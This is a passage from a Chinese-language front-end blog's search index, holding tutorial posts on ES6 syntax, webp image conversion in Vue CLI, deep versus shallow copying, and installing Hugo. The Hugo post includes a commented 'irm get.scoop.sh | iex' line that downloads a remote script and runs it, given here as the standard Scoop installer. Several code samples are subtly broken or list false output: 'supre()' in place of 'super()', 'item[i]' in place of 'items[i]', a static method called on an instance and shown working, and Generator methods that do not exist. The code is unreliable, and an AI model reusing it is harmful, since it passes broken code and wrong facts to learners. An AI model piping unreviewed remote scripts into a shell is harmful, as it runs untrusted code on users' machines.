具體看這裡\n","date":"2022-08-11T00:00:00Z","image":"https://live.staticflickr.com/65535/52277524312_b6dc5e213c_o.png","permalink":"https://blog.wayne-project.com/2022-08-11/option-api-vs-composition-api/","title":"圖解 Option API vs Composition API"},{"content":" 【尚硅谷】ES6教程 - 涵盖 ES6~ES11\n給進入 Vue.js 前的 ES6 必備知識\n超级实用的 ES6 特性\n【詳細 MDN 文件】\nECMAScript ES 是 ECMAScript 的簡稱，ECMAScript 是腳本語言的規範。而我們所使用的 JavaScript 是 ECMAScript 的一種實現。 簡言之：ECMA做出規範，各瀏覽器依照規範做出實現，因而不同瀏覽器會有兼容性不同的情況。 ES6 是 ES 的經典版本，是前端工程師崗位的高頻需求，是前端開發工程師求職的必備技能。 現階段前端行業發展迅猛，前端技術也在高速迭代， ES6-ES11 規范增加了很多 JavaScript 新特性。 ES 新特性已經成為前端技術發展的趨勢，語法簡潔，功能豐富，部分特性還有性能提升，前端開發三大框架 Vue、React、Angular 都用到了大量的新特性代碼，框架的升級也在向著新特性語法靠攏。 var 、 let 與 const var 、 let 與 const 在 Javascript 都是用來宣告變數的語法，最大的差別是他們的scope(變數有效範圍)的不同。切分var作用範圍的最小單位為 function，而 let 與 const 的作用範圍是 block 也就是俗稱的大括號：{ } 來切分。 const 所宣告的變數還有另一個特性是無法被重新賦值 (re-assign)。 let 特性 var 可以重複聲明，但 let 不能重複聲明。 演示： 1 2 3 4 5 var testA = \u0026#34;AAA\u0026#34;; var testA = \u0026#34;BBB\u0026#34;; // 不會報錯 let testB = \u0026#34;AAA\u0026#34;; let testB = \u0026#34;BBB\u0026#34;; // 會報錯 let 為塊級作用域 塊級作用域：變數只在代碼塊裡面有效({ ... }、if else、while、for) 在 ES5 中，作用域有：全局、函數、eval(嚴格模式下) 演示： 1 2 3 4 5 6 7 8 9 { var b = \u0026#34;BBB\u0026#34;; } console.log(b); // \u0026#34;BBB\u0026#34;，因為 var 非塊級作用域，所以聲明時會往外層(全局window)添加這個屬性 { let a = \u0026#34;AAA\u0026#34;; } console.log(a); // 會報錯 a is not defined 不存在變數提升 變數提升：代碼執行前會先進行變數搜集，var 聲明的變量在搜集時會先定義一個 undefined 的初始值。 演示： 1 2 3 4 5 6 7 // 在 a 用 var 聲明前輸出 console.log(a); // 不會報錯，會輸出 undefined var a = \u0026#34;AAA\u0026#34;; // 在 b 用 let 聲明前輸出 console.log(b); // 會報錯，Cannot access \u0026#39;b\u0026#39; before initialization let b = \u0026#34;BBB\u0026#34;; 不影響作用域鏈 演示： 1 2 3 4 5 6 7 { let school = \u0026#34;尚硅谷\u0026#34;; function fn() { console.log(school); } fn(); // 輸出 \u0026#34;尚硅谷\u0026#34;，在 fn 內沒有 school，會往外層尋找 } let 經典範例實踐 實作點擊 div 時切換顏色 代碼： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;h2 class=\u0026#34;page-header\u0026#34;\u0026gt; 點擊切換顏色 \u0026lt;/h2\u0026gt; \u0026lt;div class=\u0026#34;item\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;item\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;item\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; // 獲取 div 元素對象 let items = document.getElementsByClassName(\u0026#34;item\u0026#34;); // 遍歷並綁定事件 for (var i = 0; i\u0026lt; items.length; i++) { item[i].onclick = function() { // 修改當前元素的背景顏色 // 最佳寫法應為： this.style.background = \u0026#34;pink\u0026#34;; // 常見錯誤寫法： // items[i].style.background = \u0026#34;pink\u0026#34;; // // 原因： // i 使用 var 來聲明，var 聲明的變數非塊級作用域， // 因此 i 被聲明在全局(window)，此處取 i 會發現 window.i 已經等於 3 // 所以 items[3].style 會找不到。 // // 修正方式： // 將 i 改用 let 來聲明，讓 i 只存在於 for 迴圈中。 } } \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; const 特性 一定要賦初始值，且聲明後值不能被修改。 一般常數使用大寫(淺規則)。 也是塊級作用域 演示： 1 2 3 4 5 { const PLAYER = \u0026#34;UZI\u0026#34;; } console.log(PLAYER); // 會報錯，PLAYER is not defined 對於 Array 和 Object 的元素修改，不算對常數的修改，不會報錯。 演示： 1 2 3 4 { const TEAM = [\u0026#34;UZI\u0026#34;, \u0026#34;MXLG\u0026#34;, \u0026#34;Ming\u0026#34;, \u0026#34;Letme\u0026#34;]; TEAM.push(\u0026#34;Meiko\u0026#34;); // 不會報錯，因為變數所指向的地址沒有改變 } 函式的參數默認值 在 ES5 中必須這麼寫： 1 2 3 4 function printText(text) { text = text || \u0026#34;default\u0026#34;; console.log(text); } 在 ES6 以後可以這樣簡寫屬性： 1 2 3 function printText(text = \u0026#34;default\u0026#34;) { console.log(text); } 二進制與八進制字面量 ES6 支持二進制與八進制的字面量，通過在數字前面添加 0o 或者 0O 即可將其轉換為八進制值、添加 0b 或者 0B 即可將其轉換為二進制值。 1 2 3 4 5 6 7 let oValue = \u0026#34;0o10\u0026#34;; console.log(oValue); // \u0026gt;\u0026gt;\u0026gt; 8 let bValue = 0b10; console.log(bValue); // \u0026gt;\u0026gt;\u0026gt; 2 ES Module 與 import 、 export Javascript 自從 ES6 開始新增了模組系統(ES Module)，我們可以將每個 Javascript 的檔案當作是一個獨立的模組來看待，在 A 檔案匯出(export)在 B 檔案匯入(import)。 a.js 1 2 3 4 5 6 7 export const aString = \u0026#34;This is A String\u0026#34;; export function aFunction() { console.log(\u0026#34;A Function test\u0026#34;) } export const aObject = { a: 1 }; b.js 1 2 3 4 5 6 7 8 9 10 import { aString, aFunction, aObject } from \u0026#34;./a.js\u0026#34;; console.log(aString); // \u0026gt;\u0026gt;\u0026gt; \u0026#34;This is A String\u0026#34; console.log(aObject); // \u0026gt;\u0026gt;\u0026gt; { a: 1 } aFounction(); // \u0026gt;\u0026gt;\u0026gt; \u0026#34;A Function test\u0026#34; 當然在 export 也可以不用給變數名稱： c.js 1 2 3 export default function() { console.log(\u0026#34;Hello 008 JS!!!\u0026#34;); } 在另一個檔案就可以這樣來使用： d.js 1 2 3 4 import greeting from \u0026#34;./c.js\u0026#34;; greeting(); // \u0026gt;\u0026gt;\u0026gt; \u0026#34;Hello 008 JS!!!\u0026#34; 箭頭函數與 this 從 ES6 開始新增了一種叫做 「箭頭函式表示式」 (Arrow Function expression) 的函式表達式。快速看一下，如何將一般的函式轉換成箭頭函式的寫法： 1 2 3 const plus = function(numA, numB) { return numA + numB; }; 首先我們把參數往前提，然後把關鍵字 function 刪掉改成箭頭符號 =\u0026gt;： 1 2 3 const plus = (numA, numB) =\u0026gt; { return numA + numB; }; 如果這個函式只是想要回傳某個運算結果的時候，可以將 return 以及大括號 { } 省略： 1 const plus = (numA, numB) =\u0026gt; numA + numB; 而只有一個參數的時候，參數前面的小括號( )則可以省略： 1 2 3 4 const saySomething = msg =\u0026gt; console.log(msg); saySomething(\u0026#34;Hello!\u0026#34;); // \u0026gt;\u0026gt;\u0026gt; \u0026#34;Hello!\u0026#34; 另外需要注意的是，在箭頭函式使用 this 時，這時 this 會指向箭頭函式外面的 this，這個規則與原本 function 所宣告的函式不同，而且箭頭函式無法透過 bind() 強制指定裡面的 this。 字串模板 (Template literals) 以往我們在組合 JavaScript 的變數與 HTML 模板的時候，大多會透過「字串結合」 + 的模式，或透過陣列來新增字串，最後再用 [].join(\u0026quot;\u0026quot;) 的方式串接起來。但自 ES6 起，我們可以透過字串模板的語法，將變數、運算式等插入至我們的網頁模板當中，像這樣： 1 2 // 用「`...`」取代單/雙引號 `string text ${expression} string text` 這樣我們就可以將這個 expression 所代表的運算式或數值置入到字串裡頭了。 解構賦值 (Destructuring assignment) ES6 提供了解構賦值的語法，可以將陣列或者物件裡面的資料解開變成獨立的變數： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 const user = { id: 42, displayName: \u0026#34;jdoe\u0026#34;, fullName: { firstName: \u0026#34;John\u0026#34;, lastName: \u0026#34;Doe\u0026#34; } }; const { id, displayName, fullName } = user; console.log(id); // \u0026gt;\u0026gt;\u0026gt; 42 console.log(displayName); // \u0026gt;\u0026gt;\u0026gt; \u0026#34;jdoe\u0026#34; console.log(fullName); // \u0026gt;\u0026gt;\u0026gt; { firstName: \u0026#34;John\u0026#34;, lastName: \u0026#34;Doe\u0026#34; } 除了物件以外，陣列也可以： 1 2 3 4 5 6 7 8 9 const number = [1, 2, 3, 4, 5]; const [x, y] = number; console.log(x); // \u0026gt;\u0026gt;\u0026gt; 1 console.log(y); // \u0026gt;\u0026gt;\u0026gt; 2 ... 展開運算子 (Spread Operator) / 其餘運算子 (Rest Operator) 雖然 ES6 提供的展開運算子與其餘運算子的語法都是 ...，不過它們兩者所代表的涵意還是不太一樣。 展開運算子 展開運算子通常會用在陣列，或者是函式的參數，如： 1 2 3 4 5 const frameworks = [\u0026#34;Vue.js\u0026#34;, \u0026#34;Angular\u0026#34;, \u0026#34;React\u0026#34;]; const arr = [\u0026#34;Awesome\u0026#34;, ...frameworks]; console.log(arr); // \u0026gt;\u0026gt;\u0026gt; [\u0026#34;Awesome\u0026#34;, \u0026#34;Vue.js\u0026#34;, \u0026#34;Angular\u0026#34;, \u0026#34;React\u0026#34;] 其餘運算子 延續前面的例子，我們可以透過 「其餘運算子」 將剩下的部分拆解出來： 1 2 3 4 5 6 7 8 9 10 11 12 13 console.log(arr); // \u0026gt;\u0026gt;\u0026gt; [\u0026#34;Awesome\u0026#34;, \u0026#34;Vue.js\u0026#34;, \u0026#34;Angular\u0026#34;, \u0026#34;React\u0026#34;] const [a, b, ...others] = arr; console.log(a); // \u0026gt;\u0026gt;\u0026gt; \u0026#34;Awesome\u0026#34; console.log(b); // \u0026gt;\u0026gt;\u0026gt; \u0026#34;Vue.js\u0026#34; console.log(others); // \u0026gt;\u0026gt;\u0026gt; \u0026#34;Angular\u0026#34;, \u0026#34;React\u0026#34; 像這樣，我們可以搭配解構賦值的語法，將 arr 陣列拆解處來，並將剩餘的元素透過 ...others 分離。 當然，使用在物件上也是可以的： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // 其餘 Properties const { x, y, ...z } = { x: 1, y: 2, a: 3, b: 4 }; console.log(x); // \u0026gt;\u0026gt;\u0026gt; 1 console.log(y); // \u0026gt;\u0026gt;\u0026gt; 2 console.log(z); // \u0026gt;\u0026gt;\u0026gt; { a: 3, b: 4 } // 展開 Properties const obj = { x, y, ...z }; console.log(obj); // \u0026gt;\u0026gt;\u0026gt; { x: 1, y: 2, a: 3, b: 4 } 要注意的是，其餘運算子所分離的部分只是陣列或物件的「淺拷貝」，若在多層物件使用時要特別小心。 Promise 物件 為了解決過去同步與非同步的問題，ES6 提供了 Promise 物件： 1 2 3 4 const myPromiseFunc = new Promise((resolve, reject) =\u0026gt; { resolve(someValue); // 完成 // reject(\u0026#34;failure reason\u0026#34;); // 拒絕 }); 當 Promise 的任務被完成的時候，我們就可以呼叫 resolve()，然後將取得的資料傳遞出去。 或是說想要拒絕這個 Promise，那麼就裡面呼叫 reject() 來拒絕他。 1 2 3 4 5 6 7 8 9 function myAsyncFunction(url) { return new Promise((resolve, reject) =\u0026gt; { // resolve() or reject() }); } // 透過 .then() 來取代過去的 callback hell myAsyncFunction(...) .then(() =\u0026gt; { ... }); async 與 await 在後來，從 Promise 物件又延伸出 async 與 await 兩個新特性，其實本質上是更簡便的語法糖。 假設我們有兩個非同步任務要處理，並且我們希望在 asyncFunc1 執行完成之後才去執行 asyncFunc2： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function asyncFunc1(url) { return new Promise((resolve, reject) =\u0026gt; { // resolve() or reject() }); } function asyncFunc2(url) { return new Promise((resolve, reject) =\u0026gt; { // resolve() or reject() }); } const asyncCall = async() =\u0026gt; { const result1 = await asyncFunc1(); const result2 = await asyncFunc2(); }; 像這樣，透過 async 與 await 我們就可以擺脫過去一層層 callback 的惡夢，程式碼也更加簡潔。\n簡寫屬性 在 ES5 中必須這麼寫： 1 2 3 4 5 6 function createCoord(x, y) { return { x: x, y: y } } 在 ES6 以後可以這樣簡寫屬性： 1 2 3 4 5 6 function createCoord(x, y) { return { x, y } } 方法屬性 在 ES5 中必須這麼寫： 1 2 3 4 5 const math = { add: function(a, b) { return a + b; }, sub: function(a, b) { return a - b; }, multiply: function(a, b) { return a * b; } } 在 ES6 以後可以這樣簡寫屬性： 1 2 3 4 5 const math = { add(a, b) { return a + b; }, sub(a, b) { return a - b; }, multiply(a, b) { return a * b; } } 陣列方法 ES6 引入了許多有用的陣列方法，例如： find()：查找陣列中的成員，返回 null 表示沒找到 findIndex()：查找陣列成員的索引 some()：檢查某個斷言是否至少一個成員在陣列中 includes：陣列是否包含某項目 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 const array = [{ id: 1, checked: true }, { id: 2 }]; arr.find(item =\u0026gt; item.id === 2) // \u0026gt;\u0026gt;\u0026gt; { id: 2 } arr.findIndex(item =\u0026gt; item.id === 2) // \u0026gt;\u0026gt;\u0026gt; 1 arr.some(item =\u0026gt; item.checked) // \u0026gt;\u0026gt;\u0026gt; true const numberArray = [1,2,3,4]; numberArray.includes(2); // \u0026gt;\u0026gt;\u0026gt; true ES6 的 class ES6 支持 class 語法，但不是新的對象繼承模型，只是原型鍊的語法糖。 函式中使用 static 關鍵字定義構造函式的方法與屬性： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 class Student { constructor() { console.log(\u0026#34;I\u0026#39;m a student.\u0026#34;); } study() { console.log(\u0026#34;study!\u0026#34;); } static read() { console.log(\u0026#34;Reading Now.\u0026#34;); } } console.log(typeof Student); // \u0026gt;\u0026gt;\u0026gt; Function let stu = new Student(); // \u0026gt;\u0026gt;\u0026gt; \u0026#34;I\u0026#39;m a student.\u0026#34; stu.study(); // \u0026gt;\u0026gt;\u0026gt; \u0026#34;study!\u0026#34; stu.read(); // \u0026gt;\u0026gt;\u0026gt; \u0026#34;Reading Now.\u0026#34; class 的繼承(extends) extends 允許一個子類繼承父類，需要注意的是，子類的 constructor 函式中需要執行 supre() 函式。 當然你也可以在子類方法中調用父類的方法，如 supre.parentMethodName()。 class 的聲明不會提升 hoisting ，如果你要使用某個 class ，那你必須在使用之前定義他，否則會拋出 reference error 的錯誤。 在 class 中定義函式不需要使用 function 關鍵字。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 class Phone { constructor() { console.log(\u0026#34;I\u0026#39;m a phone.\u0026#34;); } } class MI extends Phone { constructor() { supre(); console.log(\u0026#34;I\u0026#39;m a phone designed by xiaomi.\u0026#34;); } } let mi8 = new MI(); // \u0026gt;\u0026gt;\u0026gt; \u0026#34;I\u0026#39;m a phone.\u0026#34; // \u0026gt;\u0026gt;\u0026gt; \u0026#34;I\u0026#39;m a phone designed by xiaomi.\u0026#34; class 的 super 方法 super 關鍵字被使用於通過函式存取父層 【詳細 MDN 文件】\n語法 1 2 super([arguments]); // calls the parent constructor. super.functionOnParent([arguments]); 當使用建構子，super 關鍵字必須出現在 this 關鍵字之前使用，super 關鍵字也可以使用在呼叫函式與父對象。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 let parent = { foo() { console.log(\u0026#34;Hello from the Parent\u0026#34;); } } let child = { foo() { super.foo(); console.log(\u0026#34;Hello from the Child\u0026#34;); } } Object.setPrototypeOf(child, parent); child.foo(); // \u0026gt;\u0026gt;\u0026gt; Hello from the Parent // \u0026gt;\u0026gt;\u0026gt; Hello from the Child 非同步處理工具 - Generator(生成器函式) 生成器函式 生成器對像是由一個 generator function 返回的,並且它符合可迭代協議和迭代器協議。 【詳細 MDN 文件】\n語法 1 2 3 4 5 6 7 8 function* gen() { yield 1; yield 2; yield 3; } let g = gen(); // \u0026#34;Generator { }\u0026#34; 方法 Generator.prototype.next()：返回一個由 yield表達式生成的值。 Generator.prototype.return()：返回給定的值並結束生成器。 Generator.prototype.throw()：向生成器拋出一個錯誤。 範例：一個無限迭代器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function* idMaker() { let index = 0; while(true) yield index++; } let gen = idMaker(); // \u0026#34;Generator { }\u0026#34; console.log(gen.next().value); // \u0026gt;\u0026gt;\u0026gt; 0 console.log(gen.next().value); // \u0026gt;\u0026gt;\u0026gt; 1 console.log(gen.next().value); // \u0026gt;\u0026gt;\u0026gt; 2 // ... 生成器對象 Generator.prototype.next()：返回 yield 表達式生成的值。 Generator.prototype.close()：關閉生成器，因此執行該函式後調用next()方法時將會拋出 StopIteration 錯誤。 Generator.prototype.send()：用於將值發送到生成器。該值由yield表達式返回，並且返回下一個yield表達式生成的值。 Generator.prototype.throw()：向生成器拋出錯誤。 ","date":"2022-08-10T00:00:00Z","image":"https://live.staticflickr.com/65535/52276889089_0bb5aa46f7_o.png","permalink":"https://blog.wayne-project.com/2022-08-10/javascript-es6/","title":"Javascript ES6 特性"},{"content":" 參考網站\nVue CLI 官方webpack相關文檔\n前言 webp 是 2010年 Google 釋出的圖片格式，針對 PNG 可減少 26%，JPEG 約可減少 25% ~ 34%，目前僅 safari、IE 尚不支援，但 safari 在 ios 14 以後開始支援。 若在未提供 .webp 格式圖檔的情況下，使用套件於 webpack 時進行圖片轉檔，但於 development 下會因抓不到虛擬的 XXX.webp 圖檔而導致 npm run 起時噴錯，可使用以下設定解決此問題。 使用 webpack-plugin-image-transform-webp-and-mini 套件將 image 轉檔成 webp 格式 1 npm i webpack-plugin-image-transform-webp-and-mini 新增一個自訂的 webploader 此 loader 功用為：若 resource 的 query (使用 chainWebpack 提供的變數\u0026quot;resourceQuery\u0026ldquo;抓) 字符中含有 \u0026quot;type=webp\u0026quot; 且 resource 為圖片時，將附檔名轉換成 XXX.webp 。 1 2 3 4 5 6 7 8 9 10 11 12 const path = require(\u0026#34;path\u0026#34;) module.exports = function(source, map) { let result = source if (this.resourceQuery \u0026amp;\u0026amp; this.resourceQuery.includes(\u0026#34;type=webp\u0026#34;) \u0026amp;\u0026amp; !this.resource.includes(\u0026#34;data:image\u0026#34;)) { let extname = path.extname(this.resourcePath) result = source.replace(extname, \u0026#34;.webp\u0026#34;) } // return result this.callback(null, result, map) } chainWebpack 設定 套件安裝完成後，vue.config.js 引入套件，並指定webp圖檔存放位置。 引入自訂的 webploader ， 並設定 chainWebpack 的 images 需優先跑 webploader，再跑 url-loader 與 file-loader。 主要解決 Vue-cli 的 development 下，會因實際不存在 \u0026ldquo;XXX.webp\u0026rdquo; 圖檔而導致開發時報錯的問題。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 // ... const ImageminWebpWebpackPlugin = require(\u0026#34;webpack-plugin-image-transform-webp-and-mini\u0026#34;) // ... chainWebpack: config =\u0026gt; { // ... config.plugins.delete(\u0026#34;preload-index\u0026#34;) config.plugins.delete(\u0026#34;prefetch-index\u0026#34;) // 相關設定建議放於移除 preload-index 與 prefetch-index 之後 config.plugin(\u0026#34;webP\u0026#34;).use(ImageminWebpWebpackPlugin, [ { name: \u0026#34;static/img/[name].[hash:8].[ext]\u0026#34;, logger: false, paths: { dir: path.resolve(__dirname, \u0026#34;./src/assets\u0026#34;), exclude: [] }, miniOptions: false } ]) let rule = config.module.rule(\u0026#34;images\u0026#34;) rule.uses.clear() rule .use(\u0026#34;./webploader.js\u0026#34;) .loader(\u0026#34;./webploader.js\u0026#34;) .end() .use(\u0026#34;url-loader\u0026#34;) .loader(\u0026#34;url-loader\u0026#34;) .options({ limit: 4096, fallback: { loader: \u0026#34;file-loader\u0026#34;, options: { name: \u0026#34;static/img/[name].[hash:8].[ext]\u0026#34; } } }) // ... } 補上是否支援 Webp 的判斷，若支援則於 \u0026lt;html\u0026gt; 補上 class name，供CSS抓取 class name 後改讀 webp 圖片 main.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 async function isSupportWebp() { return new Promise(resolve =\u0026gt; { let result = false const elem = document.createElement(\u0026#34;canvas\u0026#34;) if (elem.getContext \u0026amp;\u0026amp; elem.getContext(\u0026#34;2d\u0026#34;)) { result = elem.toDataURL(\u0026#34;image/webp\u0026#34;).indexOf(\u0026#34;data:image/webp\u0026#34;) === 0 } resolve(result) }) } // 使用自定义过滤器 filter(Vue) ;(async () =\u0026gt; { Vue.prototype.$supportWebp = await isSupportWebp() if (Vue.prototype.$supportWebp) { document.documentElement.classList.add(\u0026#34;webp\u0026#34;) } })() 若有使用 vue-lazyload，則補上 vue-lazyload 提供的 webp 相關設定 \u0026lt;img\u0026gt; 使用 v-lazy 時，src的圖片附檔名皆會轉換成 XXX.webp 1 2 3 4 5 6 7 8 9 10 vue.use(VueLazyload, { filter: { webp(listener) { if (vue.prototype.$supportWebp \u0026amp;\u0026amp; !~listener.src.indexOf(\u0026#34;.webp\u0026#34;)) { listener.src = listener.src.replace(/\\.(png|jpe?g)(\\?.*)?$/, \u0026#34;.webp\u0026#34;) listener.el.setAttribute(\u0026#34;data-src\u0026#34;, listener.src.replace(/\\.(png|jpe?g)(\\?.*)?$/, \u0026#34;.webp\u0026#34;)) } } } }) 於各個 CSS 中，若 background 使用到需轉 .webp 格式的 img ，補上自行設定的 query (\u0026quot;?type=webp\u0026quot;)，以便 webploader 抓該 query 進行轉換圖檔格式 例如： 1 2 3 4 5 6 7 8 9 10 .page-wrap-main { background: url(\u0026#34;~assets/images/main/bg.png\u0026#34;); background-size: cover; width: 100%; position: relative; .webp \u0026amp; { background-image: url(\u0026#34;~assets/images/main/bg.png?type=webp\u0026#34;); } } ","date":"2022-08-10T00:00:00Z","image":"https://live.staticflickr.com/65535/52282467469_7cf86509a9_o.jpg","permalink":"https://blog.wayne-project.com/2022-08-10/vue-cli-use-webp/","title":"Vue-cli plugin：使用套件將圖片自動轉檔為webp格式"},{"content":" 參考網站\nJavaScript的記憶體空間 在 JavaScript 中，每一個數據都需要一個記憶體空間。記憶體空間分為兩種，棧記憶體（stock） 與 堆記憶體（heap）。 棧是系統自動分配的記憶體空間，由系統自動釋放，堆則是動態分配的記憶體，大小不定不會自動釋放。 基礎資料型別 JavaScript 中的基礎資料型別，這些值都有固定的大小，儲存在 棧記憶體中，由系統自動分配儲存空間，在棧記憶體空間的值，我們可以直接進行操作，因此基礎資料型別都是按照值訪問。 在棧記憶體中的資料發生複製的行為時，系統會自動為新變數開闢一個新的記憶體空間，當複製執行後，兩個記憶體空間的值就互不影響，改變其中一個不會影響另一個 棧記憶體空間資料複製示例 1 2 3 4 5 6 var a = `I am variable a`; var b = a; console.log(b); //`I am variable a` b = `I am variable b`; console.log(a); //`I am variable a` console.log(b); //`I am variable b` 引用資料型別 引用型別的值是儲存在 堆記憶體中的物件，在 JavaScript 中我們不能直接操作物件的堆記憶體空間。因為引用型別的值都是按引用訪問的，所以在操作物件時，實際上是操作物件的引用而不是實際的物件。 引用可以理解為儲存在棧記憶體中的一個地址，該地址指向堆記憶體中的一個實際物件。 引用型別值的複製，系統會為新的變數自動分配一個新的棧記憶體空間 這個棧記憶體空間，儲存著與被複制變量相同的指標，儘管他們在棧記憶體中的記憶體空間的位置互相獨立，但是在堆記憶體中訪問到的物件實際上是同一個，因此當我們改變其中一個物件的值時，實際上就是改變原來的物件。 棧記憶體空間儲存指標（地址），堆記憶體空間儲存實際的物件，我們通過變數訪問物件時，實際上訪問的是物件的引用（地址）。 記憶體中的棧區域存放變數（基本型別的變數包括變數宣告和值）以及指向堆區域儲存位置的指標（引用型別的變數包括變數宣告和指向內容的指標）。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 var a = { name : `I am object a`, type : \u0026#39;object\u0026#39; } var b = a; console.log(b); // {name: \u0026#34;I am object a\u0026#34;, type: \u0026#34;object\u0026#34;} b.name = `I am object b`; console.log(a); // {name: \u0026#34;I am object b\u0026#34;, type: \u0026#34;object\u0026#34;} console.log(b); // {name: \u0026#34;I am object b\u0026#34;, type: \u0026#34;object\u0026#34;} 基本型別總結 基本資料型別： 基本資料型別 包括 null、undefined、number、string、boolean、symbol(es6) 存放位置 記憶體中的棧區域中 比較 值的比較，判斷是否相等，如果值相等，就相等。一般使用 === 進行比較，因為 == 會進行型別的轉換 拷貝 賦值（通過 = 賦值操作符來賦值），兩個變數的值之間相互沒有影響 引用型別總結 包括 陣列、物件、函式 存放位置 記憶體的棧區域中存放變數和指標，堆區域儲存實際的物件 比較 是引用的比較（就是地址的比較，變數在棧記憶體中對應的指標地址相等就指向同一個物件）判斷是否為同一個物件，示例如下 變數a和變數b的引用不同，物件就不是同一個物件 1 2 3 var a = {name:\u0026#39;Jay\u0026#39;}; var b = {name:\u0026#39;Jay\u0026#39;}; a===b //false 我們對JavaScript中引用型別進行操作的時候，都是操作其物件的引用（儲存在棧記憶體中的指標） 賦值、深拷貝和淺拷貝 (Assignment, deep copy and shallow copy) 賦值：兩個變數的都指向同一個物件，改變其中一個，另一個也會受到影響。 所謂拷貝就是複製，通過複製原物件生成一個新的物件。 淺拷貝 重新在堆記憶體中開闢一個空間，拷貝後新物件獲得一個獨立的基本資料型別 資料，和原物件共用一個原物件內的引用型別 資料，改變基本型別 資料，兩個物件互不影響，改變其中一個物件內的引用型別 資料，另一個物件會受到影響。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 var obj = { name: \u0026#39;Jay Chou\u0026#39;, age: 32, song:{ name:\u0026#39;發如雪\u0026#39;, year:2007 } } var obj1 = obj; function shallowCopy(obj){ var scObj = {}; for(var prop in obj){ if(obj.hasOwnProperty(prop)){ scObj[prop] = obj[prop] } } return scObj; } var obj2 = shallowCopy(obj); console.log(obj === obj1,\u0026#39;obj === obj1\u0026#39;,\u0026#39;賦值\u0026#39;); console.log(obj === obj2,\u0026#39;obj === obj2\u0026#39;,\u0026#39;淺拷貝\u0026#39;); // true \u0026#34;obj === obj1\u0026#34; \u0026#34;賦值\u0026#34; // false \u0026#34;obj === obj2\u0026#34; \u0026#34;淺拷貝\u0026#34; console.log(obj.song === obj2.song); //true obj2.song.name=\u0026#39;雙截棍\u0026#39;; obj2.name=\u0026#39;Jay\u0026#39;; console.log(obj) // {name: \u0026#34;Jay Chou\u0026#34;, age: 32, song: {name:\u0026#39;雙截棍\u0026#39;,year:2007}} console.log(obj1); // {name: \u0026#34;Jay Chou\u0026#34;, age: 32, song: {name:\u0026#39;雙截棍\u0026#39;,year:2007}} console.log(obj2); {name: \u0026#34;Jay\u0026#34;, age: 32, song: {name:\u0026#39;雙截棍\u0026#39;,year:2007}} console.log(obj===obj1) //true console.log(obj===obj2) //false 深拷貝 不論是物件內的基本型別還是引用型別 都被完全拷貝,拷貝後兩個物件互不影響。 一種比較簡單實現方法是使用 var dcObj = JSON.parse(JSON.stringify(obj)) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 var obj = { name: \u0026#39;Jay Chou\u0026#39;, age: 32, song:{ name:\u0026#39;發如雪\u0026#39;, year:2007 } } var dcObj=JSON.parse(JSON.stringify(obj)); console.log(dcObj); // {name: \u0026#34;Jay Chou\u0026#34;, age: 32, song: {name:\u0026#39;發如雪\u0026#39;,year:2007}} console.log(dcObj.song === obj.song); //false dcObj.name=\u0026#39;Jay\u0026#39;; dcObj.song.name=\u0026#39;雙截棍\u0026#39;; console.log(obj); // {name: \u0026#34;Jay Chou\u0026#34;, age: 32, song: {name:\u0026#39;發如雪\u0026#39;,year:2007}} console.log(dcObj); //{name: \u0026#34;Jay\u0026#34;, age: 32, song: {name:\u0026#39;雙截棍\u0026#39;,year:2007}} 比較：賦值、深拷貝、淺拷貝： 賦值 新物件仍然指向原物件，改變新物件的基本型別和引用型別的值都會使原物件對應的值一同改變。 淺拷貝 改變新物件基本型別的值不會使原物件對應的值一起改變，但是改變新物件引用型別的值會使原物件對應的值一同改變。 深拷貝 改變新物件基本型別和引用型別的值，都不會影響原物件，兩者互相獨立，互不影響。 ","date":"2022-08-09T00:00:00Z","image":"https://live.staticflickr.com/65535/52277851687_14d13f49a6_o.jpg","permalink":"https://blog.wayne-project.com/2022-08-09/js-deep-copy-vs-shallow-copy/","title":"JavaScript的記憶體空間、賦值和深淺拷貝"},{"content":" 安裝 hugo homebrew (MacOs) 1 brew install hugo scoop (Windows) scoop chocolatey - Hugo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 若未安裝過 Scoop，需先： # 1. 第一次需先設定，允許遠端腳本 # Set-ExecutionPolicy RemoteSigned -Scope CurrentUser # 2. 下載並安裝 Scoop # irm get.scoop.sh | iex # 透過 Scoop 安裝 Hugo scoop install hugo # 如需安裝指定版本 scoop install hugo@0.100.2 # 安裝擴展版本 scoop install hugo-extended Chocolatey chocolatey chocolatey - Hugo 1 2 3 4 5 6 7 8 # 透過 Chocolatey 安裝 Hugo choco install hugo # 如需安裝指定版本 choco install hugo --version=0.100.2 # 安裝擴展版本 choco install hugo-extended apt-get (Linux) 1 sudo apt-get install hugo 利用 hugo 建立網站 1 2 # 進到本地資料夾根目錄後 hugo new site . --force 下載主題模板 (以 hugo-theme-stack 為例) 1 git submodule add git://github.com/CaiJimmy/hugo-theme-stack/ themes/hugo-theme-stack clone 完畢後，把 exampleSite 文件夾中的 config.yaml 